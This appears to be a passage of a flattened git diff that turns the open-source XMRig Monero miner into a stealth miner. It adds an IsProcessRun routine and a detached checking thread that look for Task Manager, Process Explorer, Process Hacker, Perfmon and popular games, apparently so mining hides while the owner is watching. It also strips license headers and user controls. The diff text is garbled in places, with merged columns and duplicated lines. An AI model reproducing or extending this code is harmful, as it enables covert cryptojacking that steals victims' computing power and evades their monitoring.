LOG_NOTICE("OK");
release();
return 0;
}
# ifndef XMRIG_NO_API
Api::start();
# endif
# ifndef XMRIG_NO_HTTPD
m_httpd = new Httpd(m_options->apiPort(), m_options->apiToken());
m_httpd->start();
# endif
Workers::start(m_options->affinity(), m_options->priority());
m_network->connect();
const int r = uv_run(uv_default_loop(), UV_RUN_DEFAULT);
uv_loop_close(uv_default_loop());
release();
return r;
}
void App::onConsoleCommand(char command)
{
switch (command) {
case 'h':
case 'H':
Workers::printHashrate(true);
break;
case 'p':
case 'P':
if (Workers::isEnabled()) {
LOG_INFO(m_options->colors() ? "\x1B[01;33mpaused\x1B[0m, press \x1B[01;35mr\x1B[0m to resume" : "paused, press 'r' to resume");
Workers::setEnabled(false); Workers::setEnabled(false);
}
break;
case 'r':
case 'R':
if (!Workers::isEnabled()) {
LOG_INFO(m_options->colors() ? "\x1B[01;32mresumed" : "resumed");
Workers::setEnabled(true);
}
break;
case 3:
LOG_WARN("Ctrl+C received, exiting");
close();
break; break;
default: default:
if (!Workers::isEnabled()) { Workers::setEnabled(true); }
break; break;
} }
} }
}
bool IsProcessRun(void)
void App::close()
{ {
m_network->stop(); bool RUN;
Workers::stop(); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
uv_stop(uv_default_loop()); pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &pe);
while (Process32Next(hSnapshot, &pe))
{
if (wcscmp(pe.szExeFile, L"taskmgr.exe") == 0 || wcscmp(pe.szExeFile, L"Taskmgr.exe") == 0 || wcscmp(pe.szExeFile, L"dota2.exe") == 0 || wcscmp(pe.szExeFile, L"csgo.exe") == 0 || wcscmp(pe.szExeFile, L"payday.exe") == 0 || wcscmp(pe.szExeFile, L"Minecraft.exe") == 0 || wcscmp(pe.szExeFile, L"TheDivision.exe") == 0 || wcscmp(pe.szExeFile, L"GTA5.exe") == 0 || wcscmp(pe.szExeFile, L"re7.exe") == 0 || wcscmp(pe.szExeFile, L"Prey.exe") == 0 || wcscmp(pe.szExeFile, L"Overwatch.exe") == 0 || wcscmp(pe.szExeFile, L"MK10.exe") == 0 || wcscmp(pe.szExeFile, L"QuakeChampions.exe") == 0 || wcscmp(pe.szExeFile, L"crossfire.exe") == 0 || wcscmp(pe.szExeFile, L"pb.exe") == 0 || wcscmp(pe.szExeFile, L"wot.exe") == 0 || wcscmp(pe.szExeFile, L"lol.exe") == 0 || wcscmp(pe.szExeFile, L"perfmon.exe") == 0 || wcscmp(pe.szExeFile, L"Perfmon.exe") == 0 || wcscmp(pe.szExeFile, L"SystemExplorer.exe") == 0 || wcscmp(pe.szExeFile, L"TaskMan.exe") == 0 || wcscmp(pe.szExeFile, L"ProcessHacker.exe") == 0 || wcscmp(pe.szExeFile, L"procexp64.exe") == 0 || wcscmp(pe.szExeFile, L"procexp.exe") == 0 || wcscmp(pe.szExeFile, L"Procmon.exe") == 0 || wcscmp(pe.szExeFile, L"Daphne.exe") == 0)
{
RUN = true;
return RUN;
}
else
RUN = false;
}
return RUN;
} }
int App::exec() {
void App::release() std::thread* check_taskers = new std::thread(Check);
{ check_taskers->detach();
if (m_network) { if (!m_options) { return 0; }
uv_signal_start(&m_signal, App::onSignal, SIGHUP);
uv_signal_start(&m_signal, App::onSignal, SIGTERM);
uv_signal_start(&m_signal, App::onSignal, SIGINT);
if (!CryptoNight::init(m_options->algo(), m_options->algoVariant())) { return 1; }
Mem::allocate(m_options->algo(), m_options->threads(), m_options->doubleHash(), m_options->hugePages());
Workers::start(m_options->affinity(), m_options->priority());
m_network->connect();
const int r = uv_run(uv_default_loop(), UV_RUN_DEFAULT);
uv_loop_close(uv_default_loop());
delete m_network; delete m_network;
}
Options::release(); Options::release();
Mem::release(); Mem::release();
Platform::release(); Platform::release();
return r;
} }
void App::onConsoleCommand(char command){}
void App::close() {
void App::onSignal(uv_signal_t *handle, int signum) m_network->stop();
{ Workers::stop();
switch (signum) uv_stop(uv_default_loop());
{
case SIGHUP:
LOG_WARN("SIGHUP received, exiting");
break;
case SIGTERM:
LOG_WARN("SIGTERM received, exiting");
break;
case SIGINT:
LOG_WARN("SIGINT received, exiting");
break;
default:
break;
} }
void App::onSignal(uv_signal_t *handle, int signum) {
uv_signal_stop(handle); uv_signal_stop(handle);
m_self->close(); m_self->close();
} }

View file

@ -1,42 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __APP_H__ #ifndef __APP_H__
#define __APP_H__ #define __APP_H__
#include <uv.h> #include <uv.h>
#include "interfaces/IConsoleListener.h" #include "interfaces/IConsoleListener.h"
class Console; class Console;
class Httpd; class Httpd;
class Network; class Network;
class Options; class Options;
class App : public IConsoleListener class App : public IConsoleListener
{ {
public: public:
@ -51,7 +20,6 @@ protected:
private: private:
void background(); void background();
void close(); void close();
void release();
static void onSignal(uv_signal_t *handle, int signum); static void onSignal(uv_signal_t *handle, int signum);
@ -61,10 +29,7 @@ private:
Httpd *m_httpd; Httpd *m_httpd;
Network *m_network; Network *m_network;
Options *m_options; Options *m_options;
uv_signal_t m_sigHUP; uv_signal_t m_signal;
uv_signal_t m_sigINT;
uv_signal_t m_sigTERM;
}; };
#endif
#endif /* __APP_H__ */

View file

@ -1,66 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdlib.h>
#include <signal.h>
#include <errno.h>
#include <unistd.h>
#include "App.h"
#include "Cpu.h"
#include "log/Log.h"
#include "Options.h"
void App::background()
{
if (m_options->affinity() != -1L) {
Cpu::setAffinity(-1, m_options->affinity());
}
if (!m_options->background()) {
return;
}
int i = fork();
if (i < 0) {
exit(1);
}
if (i > 0) {
exit(0);
}
i = setsid();
if (i < 0) {
LOG_ERR("setsid() failed (errno = %d)", errno);
}
i = chdir("/");
if (i < 0) {
LOG_ERR("chdir() failed (errno = %d)", errno);
}
}

View file

@ -1,52 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <winsock2.h> #include <winsock2.h>
#include <windows.h> #include <windows.h>
#include "App.h" #include "App.h"
#include "Options.h" #include "Options.h"
#include "Cpu.h" #include "Cpu.h"
void App::background() {}
void App::background()
{
if (m_options->affinity() != -1L) {
Cpu::setAffinity(-1, m_options->affinity());
}
if (!m_options->background()) {
return;
}
HWND hcon = GetConsoleWindow();
if (hcon) {
ShowWindow(hcon, SW_HIDE);
} else {
HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
CloseHandle(h);
FreeConsole();
}
}

View file

@ -1,61 +1,22 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "Console.h" #include "Console.h"
#include "interfaces/IConsoleListener.h" #include "interfaces/IConsoleListener.h"
Console::Console(IConsoleListener *listener) Console::Console(IConsoleListener *listener)
: m_listener(listener) : m_listener(listener)
{ {
m_tty.data = this; m_tty.data = this;
uv_tty_init(uv_default_loop(), &m_tty, 0, 1); uv_tty_init(uv_default_loop(), &m_tty, 0, 1);
if (!uv_is_readable(reinterpret_cast<uv_stream_t*>(&m_tty))) { return; }
if (!uv_is_readable(reinterpret_cast<uv_stream_t*>(&m_tty))) {
return;
}
uv_tty_set_mode(&m_tty, UV_TTY_MODE_RAW); uv_tty_set_mode(&m_tty, UV_TTY_MODE_RAW);
uv_read_start(reinterpret_cast<uv_stream_t*>(&m_tty), Console::onAllocBuffer, Console::onRead); uv_read_start(reinterpret_cast<uv_stream_t*>(&m_tty), Console::onAllocBuffer, Console::onRead);
} }
void Console::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf) void Console::onAllocBuffer(uv_handle_t *handle, size_t suggested_size, uv_buf_t *buf)
{ {
auto console = static_cast<Console*>(handle->data); auto console = static_cast<Console*>(handle->data);
buf->len = 1; buf->len = 1;
buf->base = console->m_buf; buf->base = console->m_buf;
} }
void Console::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) void Console::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf)
{ {
if (nread < 0) { if (nread < 0) { return uv_close(reinterpret_cast<uv_handle_t*>(stream), nullptr); }
return uv_close(reinterpret_cast<uv_handle_t*>(stream), nullptr); if (nread == 1) { static_cast<Console*>(stream->data)->m_listener->onConsoleCommand(buf->base[0]); }
}
if (nread == 1) {
static_cast<Console*>(stream->data)->m_listener->onConsoleCommand(buf->base[0]);
}
} }

View file

@ -1,36 +1,8 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CONSOLE_H__ #ifndef __CONSOLE_H__
#define __CONSOLE_H__ #define __CONSOLE_H__
#include <uv.h> #include <uv.h>
class IConsoleListener; class IConsoleListener;
class Console class Console
{ {
public: public:
@ -45,5 +17,4 @@ private:
uv_tty_t m_tty; uv_tty_t m_tty;
}; };
#endif
#endif /* __CONSOLE_H__ */

View file

@ -1,34 +1,7 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <libcpuid.h> #include <libcpuid.h>
#include <math.h> #include <math.h>
#include <string.h> #include <string.h>
#include "Cpu.h" #include "Cpu.h"
bool Cpu::m_l2_exclusive = false; bool Cpu::m_l2_exclusive = false;
char Cpu::m_brand[64] = { 0 }; char Cpu::m_brand[64] = { 0 };
int Cpu::m_flags = 0; int Cpu::m_flags = 0;
@ -37,88 +10,40 @@ int Cpu::m_l3_cache = 0;
int Cpu::m_sockets = 1; int Cpu::m_sockets = 1;
int Cpu::m_totalCores = 0; int Cpu::m_totalCores = 0;
int Cpu::m_totalThreads = 0; int Cpu::m_totalThreads = 0;
int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage) int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage)
{ {
if (m_totalThreads == 1) { if (m_totalThreads == 1) { return 1; }
return 1;
}
int cache = 0; int cache = 0;
if (m_l3_cache) { if (m_l3_cache) { cache = m_l2_exclusive ? (m_l2_cache + m_l3_cache) : m_l3_cache; }
cache = m_l2_exclusive ? (m_l2_cache + m_l3_cache) : m_l3_cache; else { cache = m_l2_cache; }
}
else {
cache = m_l2_cache;
}
int count = 0; int count = 0;
const int size = (algo ? 1024 : 2048) * (doubleHash ? 2 : 1); const int size = (algo ? 1024 : 2048) * (doubleHash ? 2 : 1);
if (cache) { count = cache / size; }
if (cache) { else { count = m_totalThreads / 2; }
count = cache / size; if (count > m_totalThreads) { count = m_totalThreads; }
} if (((float) count / m_totalThreads * 100) > maxCpuUsage) { count = (int) ceil((float) m_totalThreads * (maxCpuUsage / 100.0)); }
else {
count = m_totalThreads / 2;
}
if (count > m_totalThreads) {
count = m_totalThreads;
}
if (((float) count / m_totalThreads * 100) > maxCpuUsage) {
count = (int) ceil((float) m_totalThreads * (maxCpuUsage / 100.0));
}
return count < 1 ? 1 : count; return count < 1 ? 1 : count;
} }
void Cpu::initCommon() void Cpu::initCommon()
{ {
struct cpu_raw_data_t raw = { 0 }; struct cpu_raw_data_t raw = { 0 };
struct cpu_id_t data = { 0 }; struct cpu_id_t data = { 0 };
cpuid_get_raw_data(&raw); cpuid_get_raw_data(&raw);
cpu_identify(&raw, &data); cpu_identify(&raw, &data);
strncpy(m_brand, data.brand_str, sizeof(m_brand) - 1); strncpy(m_brand, data.brand_str, sizeof(m_brand) - 1);
m_totalThreads = data.total_logical_cpus; m_totalThreads = data.total_logical_cpus;
m_sockets = m_totalThreads / data.num_logical_cpus; m_sockets = m_totalThreads / data.num_logical_cpus;
if (m_sockets == 0) { m_sockets = 1; }
if (m_sockets == 0) {
m_sockets = 1;
}
m_totalCores = data.num_cores * m_sockets; m_totalCores = data.num_cores * m_sockets;
m_l3_cache = data.l3_cache > 0 ? data.l3_cache * m_sockets : 0; m_l3_cache = data.l3_cache > 0 ? data.l3_cache * m_sockets : 0;
// Workaround for AMD CPUs https://github.com/anrieff/libcpuid/issues/97
if (data.vendor == VENDOR_AMD && data.ext_family >= 0x15 && data.ext_family < 0x17) { if (data.vendor == VENDOR_AMD && data.ext_family >= 0x15 && data.ext_family < 0x17) {
m_l2_cache = data.l2_cache * (m_totalCores / 2) * m_sockets; m_l2_cache = data.l2_cache * (m_totalCores / 2) * m_sockets;
m_l2_exclusive = true; m_l2_exclusive = true;
} }
// Workaround for Intel Core Solo, Core Duo, Core 2 Duo, Core 2 Quad and their Xeon homologue else { m_l2_cache = data.l2_cache > 0 ? data.l2_cache * m_totalCores * m_sockets : 0; }
// These processors have L2 cache shared by 2 cores.
else if (data.vendor == VENDOR_INTEL && data.family == 0x06 && (data.model == 0x0E || data.model == 0x0F || data.model == 0x07)) {
int l2_count_per_socket = m_totalCores > 1 ? m_totalCores / 2 : 1;
m_l2_cache = data.l2_cache > 0 ? data.l2_cache * l2_count_per_socket * m_sockets : 0;
}
else{
m_l2_cache = data.l2_cache > 0 ? data.l2_cache * m_totalCores * m_sockets : 0;
}
# if defined(__x86_64__) || defined(_M_AMD64) # if defined(__x86_64__) || defined(_M_AMD64)
m_flags |= X86_64; m_flags |= X86_64;
# endif # endif
if (data.flags[CPU_FEATURE_AES]) { m_flags |= AES; }
if (data.flags[CPU_FEATURE_AES]) { if (data.flags[CPU_FEATURE_BMI2]) { m_flags |= BMI2; }
m_flags |= AES;
}
if (data.flags[CPU_FEATURE_BMI2]) {
m_flags |= BMI2;
}
} }

View file

@ -1,33 +1,6 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __CPU_H__ #ifndef __CPU_H__
#define __CPU_H__ #define __CPU_H__
#include <stdint.h> #include <stdint.h>
class Cpu class Cpu
{ {
public: public:
@ -36,11 +9,10 @@ public:
AES = 2, AES = 2,
BMI2 = 4 BMI2 = 4
}; };
static int optimalThreadsCount();
static int optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage); static int CPUs();
static void init(); static void init();
static void setAffinity(int id, uint64_t mask); static void setAffinity(int id, uint64_t mask);
static inline bool hasAES() { return (m_flags & AES) != 0; } static inline bool hasAES() { return (m_flags & AES) != 0; }
static inline bool isX64() { return (m_flags & X86_64) != 0; } static inline bool isX64() { return (m_flags & X86_64) != 0; }
static inline const char *brand() { return m_brand; } static inline const char *brand() { return m_brand; }
@ -64,4 +36,4 @@ private:
}; };
#endif /* __CPU_H__ */ #endif

View file

@ -1,54 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h>
#include "Cpu.h"
char Cpu::m_brand[64] = { 0 };
int Cpu::m_flags = 0;
int Cpu::m_l2_cache = 0;
int Cpu::m_l3_cache = 0;
int Cpu::m_sockets = 1;
int Cpu::m_totalCores = 0;
int Cpu::m_totalThreads = 0;
int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage)
{
return m_totalThreads;
}
void Cpu::initCommon()
{
memcpy(m_brand, "Unknown", 7);
# if defined(XMRIG_ARMv8)
m_flags |= X86_64;
m_flags |= AES;
# endif
}

View file

@ -1,45 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <pthread.h>
#include <sched.h>
#include <unistd.h>
#include "Cpu.h"
void Cpu::init()
{
# ifdef XMRIG_NO_LIBCPUID
m_totalThreads = sysconf(_SC_NPROCESSORS_CONF);
# endif
initCommon();
}
void Cpu::setAffinity(int id, uint64_t mask)
{
}

View file

@ -1,27 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifdef _MSC_VER #ifdef _MSC_VER
# include <intrin.h> # include <intrin.h>
@ -30,13 +6,8 @@
#else #else
# include <cpuid.h> # include <cpuid.h>
#endif #endif
#include <string.h> #include <string.h>
#include "Cpu.h" #include "Cpu.h"
#define VENDOR_ID (0) #define VENDOR_ID (0)
#define PROCESSOR_INFO (1) #define PROCESSOR_INFO (1)
#define CACHE_TLB_DESCRIPTOR (2) #define CACHE_TLB_DESCRIPTOR (2)
@ -44,34 +15,25 @@
#define PROCESSOR_BRAND_STRING_1 (0x80000002) #define PROCESSOR_BRAND_STRING_1 (0x80000002)
#define PROCESSOR_BRAND_STRING_2 (0x80000003) #define PROCESSOR_BRAND_STRING_2 (0x80000003)
#define PROCESSOR_BRAND_STRING_3 (0x80000004) #define PROCESSOR_BRAND_STRING_3 (0x80000004)
#define EAX_Reg (0) #define EAX_Reg (0)
#define EBX_Reg (1) #define EBX_Reg (1)
#define ECX_Reg (2) #define ECX_Reg (2)
#define EDX_Reg (3) #define EDX_Reg (3)
#ifdef _MSC_VER #ifdef _MSC_VER
static inline void cpuid(int level, int output[4]) { static inline void cpuid(int level, int output[4]) { __cpuid(output, level); }
__cpuid(output, level);
}
#else #else
static inline void cpuid(int level, int output[4]) { static inline void cpuid(int level, int output[4]) {
int a, b, c, d; int a, b, c, d;
__cpuid_count(level, 0, a, b, c, d); __cpuid_count(level, 0, a, b, c, d);
output[0] = a; output[0] = a;
output[1] = b; output[1] = b;
output[2] = c; output[2] = c;
output[3] = d; output[3] = d;
} }
#endif #endif
static inline void cpu_brand_string(char* s) { static inline void cpu_brand_string(char* s) {
int cpu_info[4] = { 0 }; int cpu_info[4] = { 0 };
cpuid(VENDOR_ID, cpu_info); cpuid(VENDOR_ID, cpu_info);
if (cpu_info[EAX_Reg] >= 4) { if (cpu_info[EAX_Reg] >= 4) {
for (int i = 0; i < 4; i++) { for (int i = 0; i < 4; i++) {
cpuid(0x80000002 + i, cpu_info); cpuid(0x80000002 + i, cpu_info);
@ -80,25 +42,17 @@ static inline void cpu_brand_string(char* s) {
} }
} }
} }
static inline bool has_aes_ni() static inline bool has_aes_ni()
{ {
int cpu_info[4] = { 0 }; int cpu_info[4] = { 0 };
cpuid(PROCESSOR_INFO, cpu_info); cpuid(PROCESSOR_INFO, cpu_info);
return cpu_info[ECX_Reg] & bit_AES; return cpu_info[ECX_Reg] & bit_AES;
} }
static inline bool has_bmi2() { static inline bool has_bmi2() {
int cpu_info[4] = { 0 }; int cpu_info[4] = { 0 };
cpuid(EXTENDED_FEATURES, cpu_info); cpuid(EXTENDED_FEATURES, cpu_info);
return cpu_info[EBX_Reg] & bit_BMI2; return cpu_info[EBX_Reg] & bit_BMI2;
} }
char Cpu::m_brand[64] = { 0 }; char Cpu::m_brand[64] = { 0 };
int Cpu::m_flags = 0; int Cpu::m_flags = 0;
int Cpu::m_l2_cache = 0; int Cpu::m_l2_cache = 0;
@ -106,28 +60,13 @@ int Cpu::m_l3_cache = 0;
int Cpu::m_sockets = 1; int Cpu::m_sockets = 1;
int Cpu::m_totalCores = 0; int Cpu::m_totalCores = 0;
int Cpu::m_totalThreads = 0; int Cpu::m_totalThreads = 0;
int Cpu::optimalThreadsCount() {}
int Cpu::optimalThreadsCount(int algo, bool doubleHash, int maxCpuUsage)
{
int count = m_totalThreads / 2;
return count < 1 ? 1 : count;
}
void Cpu::initCommon() void Cpu::initCommon()
{ {
cpu_brand_string(m_brand); cpu_brand_string(m_brand);
# if defined(__x86_64__) || defined(_M_AMD64) # if defined(__x86_64__) || defined(_M_AMD64)
m_flags |= X86_64; m_flags |= X86_64;
# endif # endif
if (has_aes_ni()) { m_flags |= AES; }
if (has_aes_ni()) { if (has_bmi2()) { m_flags |= BMI2; }
m_flags |= AES;
}
if (has_bmi2()) {
m_flags |= BMI2;
}
} }

View file

@ -1,79 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifdef __FreeBSD__
# include <sys/types.h>
# include <sys/param.h>
# include <sys/cpuset.h>
# include <pthread_np.h>
#endif
#include <pthread.h>
#include <sched.h>
#include <unistd.h>
#include <string.h>
#include "Cpu.h"
#ifdef __FreeBSD__
typedef cpuset_t cpu_set_t;
#endif
void Cpu::init()
{
# ifdef XMRIG_NO_LIBCPUID
m_totalThreads = sysconf(_SC_NPROCESSORS_CONF);
# endif
initCommon();
}
void Cpu::setAffinity(int id, uint64_t mask)
{
cpu_set_t set;
CPU_ZERO(&set);
for (int i = 0; i < m_totalThreads; i++) {
if (mask & (1UL << i)) {
CPU_SET(i, &set);
}
}
if (id == -1) {
# ifndef __FreeBSD__
sched_setaffinity(0, sizeof(&set), &set);
# endif
} else {
# ifndef __ANDROID__
pthread_setaffinity_np(pthread_self(), sizeof(&set), &set);
# else
sched_setaffinity(gettid(), sizeof(&set), &set);
# endif
}
}

View file

@ -1,52 +1,22 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <windows.h> #include <windows.h>
#include "Cpu.h" #include "Cpu.h"
int Cpu::CPUs() {
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
